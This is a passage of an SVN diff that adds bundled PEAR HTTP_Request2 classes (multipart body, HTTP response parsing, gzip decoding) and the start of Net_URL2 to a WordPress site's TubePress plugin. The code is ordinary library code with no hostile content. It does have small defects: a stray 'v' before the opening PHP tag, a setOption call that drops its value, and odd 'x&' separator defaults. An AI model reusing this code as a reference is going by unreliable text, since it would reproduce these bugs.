+class net_php_pear_HTTP_Request2_Exception extends net_php_pear_PEAR_Exception
+{
+}
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/net/php/pear/HTTP/Request2/MultipartBody.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/net/php/pear/HTTP/Request2/MultipartBody.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/net/php/pear/HTTP/Request2/MultipartBody.class.php	(revision 44)
@@ -0,0 +1,274 @@
+v<?php
+/**
+ * Helper class for building multipart/form-data request body
+ *
+ * PHP version 5
+ *
+ * LICENSE:
+ *
+ * Copyright (c) 2008, Alexey Borzov <avb@php.net>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ *
+ *    * Redistributions of source code must retain the above copyright
+ *      notice, this list of conditions and the following disclaimer.
+ *    * Redistributions in binary form must reproduce the above copyright
+ *      notice, this list of conditions and the following disclaimer in the
+ *      documentation and/or other materials provided with the distribution.
+ *    * The names of the authors may not be used to endorse or promote products
+ *      derived from this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS
+ * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
+ * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
+ * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @category   HTTP
+ * @package    HTTP_Request2
+ * @author     Alexey Borzov <avb@php.net>
+ * @license    http://opensource.org/licenses/bsd-license.php New BSD License
+ * @version    CVS: $Id: MultipartBody.php,v 1.3 2008/11/15 10:59:30 avb Exp $
+ * @link       http://pear.php.net/package/HTTP_Request2
+ */
+
+/**
+ * Class for building multipart/form-data request body
+ *
+ * The class helps to reduce memory consumption by streaming large file uploads
+ * from disk, it also allows monitoring of upload progress (see request #7630)
+ *
+ * @category   HTTP
+ * @package    HTTP_Request2
+ * @author     Alexey Borzov <avb@php.net>
+ * @version    Release: 0.1.0
+ * @link       http://tools.ietf.org/html/rfc1867
+ */
+class net_php_pear_HTTP_Request2_MultipartBody
+{
+   /**
+    * MIME boundary
+    * @var  string
+    */
+    private $_boundary;
+
+   /**
+    * Form parameters added via {@link HTTP_Request2::addPostParameter()}
+    * @var  array
+    */
+    private $_params = array();
+
+   /**
+    * File uploads added via {@link HTTP_Request2::addUpload()}
+    * @var  array
+    */
+    private $_uploads = array();
+
+   /**
+    * Header for parts with parameters
+    * @var  string
+    */
+    private $_headerParam = "--%s\r\nContent-Disposition: form-data; name=\"%s\"\r\n\r\n";
+
+   /**
+    * Header for parts with uploads
+    * @var  string
+    */
+    private $_headerUpload = "--%s\r\nContent-Disposition: form-data; name=\"%s\"; filename=\"%s\"\r\nContent-Type: %s\r\n\r\n";
+
+   /**
+    * Current position in parameter and upload arrays
+    *
+    * First number is index of "current" part, second number is position within
+    * "current" part
+    *
+    * @var  array
+    */
+    private $_pos = array(0, 0);
+
+
+   /**
+    * Constructor. Sets the arrays with POST data.
+    *
+    * @param    array   values of form fields set via {@link HTTP_Request2::addPostParameter()}
+    * @param    array   file uploads set via {@link HTTP_Request2::addUpload()}
+    * @param    bool    whether to append brackets to array variable names
+    */
+    public function __construct($params, $uploads, $useBrackets = true)
+    {
+        $this->_params = self::_flattenArray('', $params, $useBrackets);
+        foreach ($uploads as $fieldName => $f) {
+            if (!is_array($f['fp'])) {
+                $this->_uploads[] = $f + array('name' => $fieldName);
+            } else {
+                for ($i = 0; $i < count($f['fp']); $i++) {
+                    $upload = array(
+                        'name' => ($useBrackets? $fieldName . '[' . $i . ']': $fieldName)
+                    );
+                    foreach (array('fp', 'filename', 'size', 'type') as $key) {
+                        $upload[$key] = $f[$key][$i];
+                    }
+                    $this->_uploads[] = $upload;
+                }
+            }
+        }
+    }
+
+   /**
+    * Returns the length of the body to use in Content-Length header
+    *
+    * @return   integer
+    */
+    public function getLength()
+    {
+        $boundaryLength     = strlen($this->getBoundary());
+        $headerParamLength  = strlen($this->_headerParam) - 4 + $boundaryLength;
+        $headerUploadLength = strlen($this->_headerUpload) - 8 + $boundaryLength;
+        $length             = $boundaryLength + 6;
+        foreach ($this->_params as $p) {
+            $length += $headerParamLength + strlen($p[0]) + strlen($p[1]) + 2;
+        }
+        foreach ($this->_uploads as $u) {
+            $length += $headerUploadLength + strlen($u['name']) + strlen($u['type']) +
+                       strlen($u['filename']) + $u['size'] + 2;
+        }
+        return $length;
+    }
+
+   /**
+    * Returns the boundary to use in Content-Type header
+    *
+    * @return   string
+    */
+    public function getBoundary()
+    {
+        if (empty($this->_boundary)) {
+            $this->_boundary = 'PEAR-HTTP_Request2-' . md5(microtime());
+        }
+        return $this->_boundary;
+    }
+
+   /**
+    * Returns next chunk of request body
+    *
+    * @param    integer Amount of bytes to read
+    * @return   string  Up to $length bytes of data, empty string if at end
+    */
+    public function read($length)
+    {
+        $ret         = '';
+        $boundary    = $this->getBoundary();
+        $paramCount  = count($this->_params);
+        $uploadCount = count($this->_uploads);
+        while ($length > 0 && $this->_pos[0] <= $paramCount + $uploadCount) {
+            $oldLength = $length;
+            if ($this->_pos[0] < $paramCount) {
+                $param = sprintf($this->_headerParam, $boundary, 
+                                 $this->_params[$this->_pos[0]][0]) .
+                         $this->_params[$this->_pos[0]][1] . "\r\n";
+                $ret    .= substr($param, $this->_pos[1], $length);
+                $length -= min(strlen($param) - $this->_pos[1], $length);
+
+            } elseif ($this->_pos[0] < $paramCount + $uploadCount) {
+                $pos    = $this->_pos[0] - $paramCount;
+                $header = sprintf($this->_headerUpload, $boundary,
+                                  $this->_uploads[$pos]['name'],
+                                  $this->_uploads[$pos]['filename'],
+                                  $this->_uploads[$pos]['type']);
+                if ($this->_pos[1] < strlen($header)) {
+                    $ret    .= substr($header, $this->_pos[1], $length);
+                    $length -= min(strlen($header) - $this->_pos[1], $length);
+                }
+                $filePos  = max(0, $this->_pos[1] - strlen($header));
+                if ($length > 0 && $filePos < $this->_uploads[$pos]['size']) {
+                    $ret     .= fread($this->_uploads[$pos]['fp'], $length);
+                    $length  -= min($length, $this->_uploads[$pos]['size'] - $filePos);
+                }
+                if ($length > 0) {
+                    $start   = $this->_pos[1] + ($oldLength - $length) -
+                               strlen($header) - $this->_uploads[$pos]['size'];
+                    $ret    .= substr("\r\n", $start, $length);
+                    $length -= min(2 - $start, $length);
+                }
+
+            } else {
+                $closing  = '--' . $boundary . "--\r\n";
+                $ret     .= substr($closing, $this->_pos[1], $length);
+                $length  -= min(strlen($closing) - $this->_pos[1], $length);
+            }
+            if ($length > 0) {
+                $this->_pos     = array($this->_pos[0] + 1, 0);
+            } else {
+                $this->_pos[1] += $oldLength;
+            }
+        }
+        return $ret;
+    }
+
+   /**
+    * Sets the current position to the start of the body
+    *
+    * This allows reusing the same body in another request
+    */
+    public function rewind()
+    {
+        $this->_pos = array(0, 0);
+        foreach ($this->_uploads as $u) {
+            rewind($u['fp']);
+        }
+    }
+
+   /**
+    * Returns the body as string
+    *
+    * Note that it reads all file uploads into memory so it is a good idea not
+    * to use this method with large file uploads and rely on read() instead.
+    *
+    * @return   string
+    */
+    public function __toString()
+    {
+        $this->rewind();
+        return $this->read($this->getLength());
+    }
+
+
+   /**
+    * Helper function to change the (probably multidimensional) associative array
+    * into the simple one.
+    *
+    * @param    string  name for item
+    * @param    mixed   item's values
+    * @param    bool    whether to append [] to array variables' names
+    * @return   array   array with the following items: array('item name', 'item value');
+    */
+    private static function _flattenArray($name, $values, $useBrackets)
+    {
+        if (!is_array($values)) {
+            return array(array($name, $values));
+        } else {
+            $ret = array();
+            foreach ($values as $k => $v) {
+                if (empty($name)) {
+                    $newName = $k;
+                } elseif ($useBrackets) {
+                    $newName = $name . '[' . $k . ']';
+                } else {
+                    $newName = $name;
+                }
+                $ret = array_merge($ret, self::_flattenArray($newName, $v, $useBrackets));
+            }
+            return $ret;
+        }
+    }
+}
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/net/php/pear/HTTP/Request2/Response.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/net/php/pear/HTTP/Request2/Response.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/net/php/pear/HTTP/Request2/Response.class.php	(revision 44)
@@ -0,0 +1,522 @@
+<?php
+/**
+ * Class representing a HTTP response
+ *
+ * PHP version 5
+ *
+ * LICENSE:
+ *
+ * Copyright (c) 2008, Alexey Borzov <avb@php.net>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ *
+ *    * Redistributions of source code must retain the above copyright
+ *      notice, this list of conditions and the following disclaimer.
+ *    * Redistributions in binary form must reproduce the above copyright
+ *      notice, this list of conditions and the following disclaimer in the
+ *      documentation and/or other materials provided with the distribution.
+ *    * The names of the authors may not be used to endorse or promote products
+ *      derived from this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS
+ * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
+ * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
+ * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @category   HTTP
+ * @package    HTTP_Request2
+ * @author     Alexey Borzov <avb@php.net>
+ * @license    http://opensource.org/licenses/bsd-license.php New BSD License
+ * @version    CVS: $Id: Response.php,v 1.2 2008/11/15 10:59:30 avb Exp $
+ * @link       http://pear.php.net/package/HTTP_Request2
+ */
+
+/**
+ * Exception class for HTTP_Request2 package
+ */ 
+
+/**
+ * Class representing a HTTP response
+ *
+ * The class is designed to be used in "streaming" scenario, building the
+ * response as it is being received:
+ * <code>
+ * $statusLine = read_status_line();
+ * $response = new HTTP_Request2_Response($statusLine);
+ * do {
+ *     $headerLine = read_header_line();
+ *     $response->parseHeaderLine($headerLine);
+ * } while ($headerLine != '');
+ * 
+ * while ($chunk = read_body()) {
+ *     $response->appendBody($chunk);
+ * }
+ * 
+ * var_dump($response->getHeader(), $response->getCookies(), $response->getBody());
+ * </code>
+ *
+ *
+ * @category   HTTP
+ * @package    HTTP_Request2
+ * @author     Alexey Borzov <avb@php.net>
+ * @version    Release: 0.1.0
+ * @link       http://tools.ietf.org/html/rfc2616#section-6
+ */
+class net_php_pear_HTTP_Request2_Response
+{
+   /**
+    * HTTP protocol version (e.g. 1.0, 1.1)
+    * @var  string
+    */
+    protected $version;
+
+   /**
+    * Status code
+    * @var  integer
+    * @link http://tools.ietf.org/html/rfc2616#section-6.1.1
+    */
+    protected $code;
+
+   /**
+    * Reason phrase
+    * @var  string
+    * @link http://tools.ietf.org/html/rfc2616#section-6.1.1
+    */
+    protected $reasonPhrase;
+
+   /**
+    * Associative array of response headers
+    * @var  array
+    */
+    protected $headers = array();
+
+   /**
+    * Cookies set in the response
+    * @var  array
+    */
+    protected $cookies = array();
+
+   /**
+    * Name of last header processed by parseHederLine()
+    *
+    * Used to handle the headers that span multiple lines
+    *
+    * @var  string
+    */
+    protected $lastHeader = null;
+
+   /**
+    * Response body
+    * @var  string
+    */
+    protected $body = '';
+
+   /**
+    * Whether the body is still encoded by Content-Encoding
+    *
+    * cURL provides the decoded body to the callback; if we are reading from
+    * socket the body is still gzipped / deflated
+    *
+    * @var  bool
+    */
+    protected $bodyEncoded;
+
+   /**
+    * Associative array of HTTP status code / reason phrase.
+    *
+    * @var  array
+    * @link http://tools.ietf.org/html/rfc2616#section-10
+    */
+    protected static $phrases = array(
+
+        // 1xx: Informational - Request received, continuing process
+        100 => 'Continue',
+        101 => 'Switching Protocols',
+
+        // 2xx: Success - The action was successfully received, understood and
+        // accepted
+        200 => 'OK',
+        201 => 'Created',
+        202 => 'Accepted',
+        203 => 'Non-Authoritative Information',
+        204 => 'No Content',
+        205 => 'Reset Content',
+        206 => 'Partial Content',
+
+        // 3xx: Redirection - Further action must be taken in order to complete
+        // the request
+        300 => 'Multiple Choices',
+        301 => 'Moved Permanently',
+        302 => 'Found',  // 1.1
+        303 => 'See Other',
+        304 => 'Not Modified',
+        305 => 'Use Proxy',
+        307 => 'Temporary Redirect',
+
+        // 4xx: Client Error - The request contains bad syntax or cannot be 
+        // fulfilled
+        400 => 'Bad Request',
+        401 => 'Unauthorized',
+        402 => 'Payment Required',
+        403 => 'Forbidden',
+        404 => 'Not Found',
+        405 => 'Method Not Allowed',
+        406 => 'Not Acceptable',
+        407 => 'Proxy Authentication Required',
+        408 => 'Request Timeout',
+        409 => 'Conflict',
+        410 => 'Gone',
+        411 => 'Length Required',
+        412 => 'Precondition Failed',
+        413 => 'Request Entity Too Large',
+        414 => 'Request-URI Too Long',
+        415 => 'Unsupported Media Type',
+        416 => 'Requested Range Not Satisfiable',
+        417 => 'Expectation Failed',
+
+        // 5xx: Server Error - The server failed to fulfill an apparently
+        // valid request
+        500 => 'Internal Server Error',
+        501 => 'Not Implemented',
+        502 => 'Bad Gateway',
+        503 => 'Service Unavailable',
+        504 => 'Gateway Timeout',
+        505 => 'HTTP Version Not Supported',
+        509 => 'Bandwidth Limit Exceeded',
+
+    );
+
+   /**
+    * Constructor, parses the response status line
+    *
+    * @param    string  Response status line (e.g. "HTTP/1.1 200 OK")
+    * @param    bool    Whether body is still encoded by Content-Encoding
+    * @throws   net_php_pear_HTTP_Request2_Exception if status line is invalid according to spec
+    */
+    public function __construct($statusLine, $bodyEncoded = true)
+    {
+        if (!preg_match('!^HTTP/(\d\.\d) (\d{3})(?: (.+))?!', $statusLine, $m)) {
+            throw new net_php_pear_HTTP_Request2_Exception("Malformed response: {$statusLine}");
+        }
+        $this->version = $m[1];
+        $this->code    = intval($m[2]);
+        if (!empty($m[3])) {
+            $this->reasonPhrase = trim($m[3]);
+        } elseif (!empty(self::$phrases[$this->code])) {
+            $this->reasonPhrase = self::$phrases[$this->code];
+        }
+        $this->bodyEncoded = (bool)$bodyEncoded;
+    }
+
+   /**
+    * Parses the line from HTTP response filling $headers array
+    *
+    * The method should be called after reading the line from socket or receiving 
+    * it into cURL callback. Passing an empty string here indicates the end of
+    * response headers and triggers additional processing, so be sure to pass an
+    * empty string in the end.
+    *
+    * @param    string  Line from HTTP response
+    */
+    public function parseHeaderLine($headerLine)
+    {
+        $headerLine = trim($headerLine, "\r\n");
+
+        // empty string signals the end of headers, process the received ones
+        if ('' == $headerLine) {
+            if (!empty($this->headers['set-cookie'])) {
+                $cookies = is_array($this->headers['set-cookie'])?
+                           $this->headers['set-cookie']:
+                           array($this->headers['set-cookie']);
+                foreach ($cookies as $cookieString) {
+                    $this->parseCookie($cookieString);
+                }
+                unset($this->headers['set-cookie']);
+            }
+            foreach (array_keys($this->headers) as $k) {
+                if (is_array($this->headers[$k])) {
+                    $this->headers[$k] = implode(', ', $this->headers[$k]);
+                }
+            }
+
+        // string of the form header-name: header value
+        } elseif (preg_match('!^([^\x00-\x1f\x7f-\xff()<>@,;:\\\\"/\[\]?={}\s]+):(.+)$!', $headerLine, $m)) {
+            $name  = strtolower($m[1]);
+            $value = trim($m[2]);
+            if (empty($this->headers[$name])) {
+                $this->headers[$name] = $value;
+            } else {
+                if (!is_array($this->headers[$name])) {
+                    $this->headers[$name] = array($this->headers[$name]);
+                }
+                $this->headers[$name][] = $value;
+            }
+            $this->lastHeader = $name;
+
+        // string 
+        } elseif (preg_match('!^\s+(.+)$!', $headerLine, $m) && $this->lastHeader) {
+            if (!is_array($this->headers[$this->lastHeader])) {
+                $this->headers[$this->lastHeader] .= ' ' . trim($m[1]);
+            } else {
+                $key = count($this->headers[$this->lastHeader]) - 1;
+                $this->headers[$this->lastHeader][$key] .= ' ' . trim($m[1]);
+            }
+        }
+    } 
+
+   /**
+    * Parses a Set-Cookie header to fill $cookies array
+    *
+    * @param    string    value of Set-Cookie header
+    * @link     http://cgi.netscape.com/newsref/std/cookie_spec.html
+    */
+    protected function parseCookie($cookieString)
+    {
+        $cookie = array(
+            'expires' => null,
+            'domain'  => null,
+            'path'    => null,
+            'secure'  => false
+        );
+
+        // Only a name=value pair
+        if (!strpos($cookieString, ';')) {
+            $pos = strpos($cookieString, '=');
+            $cookie['name']  = trim(substr($cookieString, 0, $pos));
+            $cookie['value'] = trim(substr($cookieString, $pos + 1));
+
+        // Some optional parameters are supplied
+        } else {
+            $elements = explode(';', $cookieString);
+            $pos = strpos($elements[0], '=');
+            $cookie['name']  = trim(substr($elements[0], 0, $pos));
+            $cookie['value'] = trim(substr($elements[0], $pos + 1));
+
+            for ($i = 1; $i < count($elements); $i++) {
+                if (false === strpos($elements[$i], '=')) {
+                    $elName  = trim($elements[$i]);
+                    $elValue = null;
+                } else {
+                    list ($elName, $elValue) = array_map('trim', explode('=', $elements[$i]));
+                }
+                $elName = strtolower($elName);
+                if ('secure' == $elName) {
+                    $cookie['secure'] = true;
+                } elseif ('expires' == $elName) {
+                    $cookie['expires'] = str_replace('"', '', $elValue);
+                } elseif ('path' == $elName || 'domain' == $elName) {
+                    $cookie[$elName] = urldecode($elValue);
+                } else {
+                    $cookie[$elName] = $elValue;
+                }
+            }
+        }
+        $this->cookies[] = $cookie;
+    }
+
+   /**
+    * Appends a string to the response body
+    * @param    string
+    */
+    public function appendBody($bodyChunk)
+    {
+        $this->body .= $bodyChunk;
+    }
+
+   /**
+    * Returns the status code
+    * @return   integer 
+    */
+    public function getStatus()
+    {
+        return $this->code;
+    }
+
+   /**
+    * Returns the reason phrase
+    * @return   string
+    */
+    public function getReasonPhrase()
+    {
+        return $this->reasonPhrase;
+    }
+
+   /**
+    * Returns either the named header or all response headers
+    *
+    * @param    string          Name of header to return
+    * @return   string|array    Value of $headerName header (null if header is
+    *                           not present), array of all response headers if
+    *                           $headerName is null
+    */
+    public function getHeader($headerName = null)
+    {
+        if (null === $headerName) {
+            return $this->headers;
+        } else {
+            $headerName = strtolower($headerName);
+            return isset($this->headers[$headerName])? $this->headers[$headerName]: null;
+        }
+    }
+
+   /**
+    * Returns cookies set in response
+    *
+    * @return   array
+    */
+    public function getCookies()
+    {
+        return $this->cookies;
+    }
+
+   /**
+    * Returns the body of the response
+    *
+    * @return   string
+    * @throws   net_php_pear_HTTP_Request2_Exception if body cannot be decoded
+    */
+    public function getBody()
+    {
+        if ($this->bodyEncoded) {
+            switch (strtolower($this->getHeader('content-encoding'))) {
+                case 'gzip':
+                    return self::decodeGzip($this->body);
+                case 'deflate':
+                    return self::decodeDeflate($this->body);
+            }
+        }
+        return $this->body;
+    }
+
+   /**
+    * Get the HTTP version of the response
+    *
+    * @return   string
+    */ 
+    public function getVersion()
+    {
+        return $this->version;
+    }
+
+   /**
+    * Decodes the message-body encoded by gzip
+    *
+    * The real decoding work is done by gzinflate() built-in function, this
+    * method only parses the header and checks data for compliance with
+    * RFC 1952
+    *
+    * @param    string  gzip-encoded data
+    * @return   string  decoded data
+    * @throws   net_php_pear_HTTP_Request2_Exception
+    * @link     http://tools.ietf.org/html/rfc1952
+    */
+    public static function decodeGzip($data)
+    {
+        $length = strlen($data);
+        // If it doesn't look like gzip-encoded data, don't bother
+        if (18 > $length || strcmp(substr($data, 0, 2), "\x1f\x8b")) {
+            return $data;
+        }
+        if (!function_exists('gzinflate')) {
+            throw new net_php_pear_HTTP_Request2_Exception('Unable to decode body: gzip extension not available');
+        }
+        $method = ord(substr($data, 2, 1));
+        if (8 != $method) {
+            throw new net_php_pear_HTTP_Request2_Exception('Error parsing gzip header: unknown compression method');
+        }
+        $flags = ord(substr($data, 3, 1));
+        if ($flags & 224) {
+            throw new net_php_pear_HTTP_Request2_Exception('Error parsing gzip header: reserved bits are set');
+        }
+
+        // header is 10 bytes minimum. may be longer, though.
+        $headerLength = 10;
+        // extra fields, need to skip 'em
+        if ($flags & 4) {
+            if ($length - $headerLength - 2 < 8) {
+                throw new net_php_pear_HTTP_Request2_Exception('Error parsing gzip header: data too short');
+            }
+            $extraLength = unpack('v', substr($data, 10, 2));
+            if ($length - $headerLength - 2 - $extraLength[1] < 8) {
+                throw new net_php_pear_HTTP_Request2_Exception('Error parsing gzip header: data too short');
+            }
+            $headerLength += $extraLength[1] + 2;
+        }
+        // file name, need to skip that
+        if ($flags & 8) {
+            if ($length - $headerLength - 1 < 8) {
+                throw new net_php_pear_HTTP_Request2_Exception('Error parsing gzip header: data too short');
+            }
+            $filenameLength = strpos(substr($data, $headerLength), chr(0));
+            if (false === $filenameLength || $length - $headerLength - $filenameLength - 1 < 8) {
+                throw new net_php_pear_HTTP_Request2_Exception('Error parsing gzip header: data too short');
+            }
+            $headerLength += $filenameLength + 1;
+        }
+        // comment, need to skip that also
+        if ($flags & 16) {
+            if ($length - $headerLength - 1 < 8) {
+                throw new net_php_pear_HTTP_Request2_Exception('Error parsing gzip header: data too short');
+            }
+            $commentLength = strpos(substr($data, $headerLength), chr(0));
+            if (false === $commentLength || $length - $headerLength - $commentLength - 1 < 8) {
+                throw new net_php_pear_HTTP_Request2_Exception('Error parsing gzip header: data too short');
+            }
+            $headerLength += $commentLength + 1;
+        }
+        // have a CRC for header. let's check
+        if ($flags & 2) {
+            if ($length - $headerLength - 2 < 8) {
+                throw new net_php_pear_HTTP_Request2_Exception('Error parsing gzip header: data too short');
+            }
+            $crcReal   = 0xffff & crc32(substr($data, 0, $headerLength));
+            $crcStored = unpack('v', substr($data, $headerLength, 2));
+            if ($crcReal != $crcStored[1]) {
+                throw new net_php_pear_HTTP_Request2_Exception('Header CRC check failed');
+            }
+            $headerLength += 2;
+        }
+        // unpacked data CRC and size at the end of encoded data
+        $tmp = unpack('V2', substr($data, -8));
+        $dataCrc  = $tmp[1];
+        $dataSize = $tmp[2];
+
+        // finally, call the gzinflate() function
+        // don't pass $dataSize to gzinflate, see bugs #13135, #14370
+        $unpacked = gzinflate(substr($data, $headerLength, -8));
+        if (false === $unpacked) {
+            throw new net_php_pear_HTTP_Request2_Exception('gzinflate() call failed');
+        } elseif ($dataSize != strlen($unpacked)) {
+            throw new net_php_pear_HTTP_Request2_Exception('Data size check failed');
+        } elseif ((0xffffffff & $dataCrc) != (0xffffffff & crc32($unpacked))) {
+            throw new net_php_pear_HTTP_Request2_Exception('Data CRC check failed');
+        }
+        return $unpacked;
+    }
+
+   /**
+    * Decodes the message-body encoded by deflate
+    *
+    * @param    string  deflate-encoded data
+    * @return   string  decoded data
+    * @throws   net_php_pear_HTTP_Request2_Exception
+    */
+    public static function decodeDeflate($data)
+    {
+        if (!function_exists('gzuncompress')) {
+            throw new net_php_pear_HTTP_Request2_Exception('Unable to decode body: gzip extension not available');
+        }
+        return gzuncompress($data);
+    }
+}
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/net/php/pear/Net/URL2.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/net/php/pear/Net/URL2.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/net/php/pear/Net/URL2.class.php	(revision 44)
@@ -0,0 +1,816 @@
+<?php
+// +-----------------------------------------------------------------------+
+// | Copyright (c) 2007-2008, Christian Schmidt, Peytz & Co. A/S           |
+// | All rights reserved.                                                  |
+// |                                                                       |
+// | Redistribution and use in source and binary forms, with or without    |
+// | modification, are permitted provided that the following conditions    |
+// | are met:                                                              |
+// |                                                                       |
+// | o Redistributions of source code must retain the above copyright      |
+// |   notice, this list of conditions and the following disclaimer.       |
+// | o Redistributions in binary form must reproduce the above copyright   |
+// |   notice, this list of conditions and the following disclaimer in the |
+// |   documentation and/or other materials provided with the distribution.|
+// | o The names of the authors may not be used to endorse or promote      |
+// |   products derived from this software without specific prior written  |
+// |   permission.                                                         |
+// |                                                                       |
+// | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS   |
+// | "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT     |
+// | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR |
+// | A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT  |
+// | OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, |
+// | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT      |
+// | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, |
+// | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY |
+// | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT   |
+// | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE |
+// | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  |
+// |                                                                       |
+// +-----------------------------------------------------------------------+
+// | Author: Christian Schmidt <schmidt at php dot net>                    |
+// +-----------------------------------------------------------------------+
+//
+// $Id: URL2.php,v 1.10 2008/04/26 21:57:08 schmidt Exp $
+//
+// net_php_pear_Net_URL2 Class (PHP5 Only)
+
+// This code is released under the BSD License - http://www.opensource.org/licenses/bsd-license.php
+/**
+ * @license BSD License
+ */
+class net_php_pear_Net_URL2
+{
+    /**
+     * Do strict parsing in resolve() (see RFC 3986, section 5.2.2). Default
+     * is true.
+     */
+    const OPTION_STRICT           = 'strict';
+
+    /**
+     * Represent arrays in query using PHP's [] notation. Default is true.
+     */
+    const OPTION_USE_BRACKETS     = 'use_brackets';
+
+    /**
+     * URL-encode query variable keys. Default is true.
+     */
+    const OPTION_ENCODE_KEYS      = 'encode_keys';
+
+    /**
+     * Query variable separators when parsing the query string. Every character
+     * is considered a separator. Default is specified by the
+     * arg_separator.input php.ini setting (this defaults to "&").
+     */
+    const OPTION_SEPARATOR_INPUT  = 'input_separator';
+
+    /**
+     * Query variable separator used when generating the query string. Default
+     * is specified by the arg_separator.output php.ini setting (this defaults
+     * to "&").
+     */
+    const OPTION_SEPARATOR_OUTPUT = 'output_separator';
+
+    /**
+     * Default options corresponds to how PHP handles $_GET.
+     */
+    private $options = array(
+        self::OPTION_STRICT           => true,
+        self::OPTION_USE_BRACKETS     => true,
+        self::OPTION_ENCODE_KEYS      => true,
+        self::OPTION_SEPARATOR_INPUT  => 'x&',
+        self::OPTION_SEPARATOR_OUTPUT => 'x&',
+        );
+
+    /**
+     * @var  string|bool
+     */
+    private $scheme = false;
+
+    /**
+     * @var  string|bool
+     */
+    private $userinfo = false;
+
+    /**
+     * @var  string|bool
+     */
+    private $host = false;
+
+    /**
+     * @var  int|bool
+     */
+    private $port = false;
+
+    /**
+     * @var  string
+     */
+    private $path = '';
+
+    /**
+     * @var  string|bool
+     */
+    private $query = false;
+
+    /**
+     * @var  string|bool
+     */
+    private $fragment = false;
+
+    /**
+     * @param string $url     an absolute or relative URL
+     * @param array  $options
+     */
+    public function __construct($url, $options = null)
+    {
+        $this->setOption(self::OPTION_SEPARATOR_INPUT,
+                         "&");
+        $this->setOption(self::OPTION_SEPARATOR_OUTPUT,
+                         "&");
+        if (is_array($options)) {
+            foreach ($options as $optionName => $value) {
+                $this->setOption($optionName);
+            }
+        }
+
+        if (preg_match('@^([a-z][a-z0-9.+-]*):@i', $url, $reg)) {
+            $this->scheme = $reg[1];
+            $url = substr($url, strlen($reg[0]));
+        }
+
+        if (preg_match('@^//([^/#?]+)@', $url, $reg)) {
+            $this->setAuthority($reg[1]);
+            $url = substr($url, strlen($reg[0]));
+        }
+
+        $i = strcspn($url, '?#');
+        $this->path = substr($url, 0, $i);
+        $url = substr($url, $i);
+
+        if (preg_match('@^\?([^#]*)@', $url, $reg)) {
+            $this->query = $reg[1];
+            $url = substr($url, strlen($reg[0]));
+        }
+
+        if ($url) {
+            $this->fragment = substr($url, 1);
+        }
+    }
+
+    /**
+     * Returns the scheme, e.g. "http" or "urn", or false if there is no
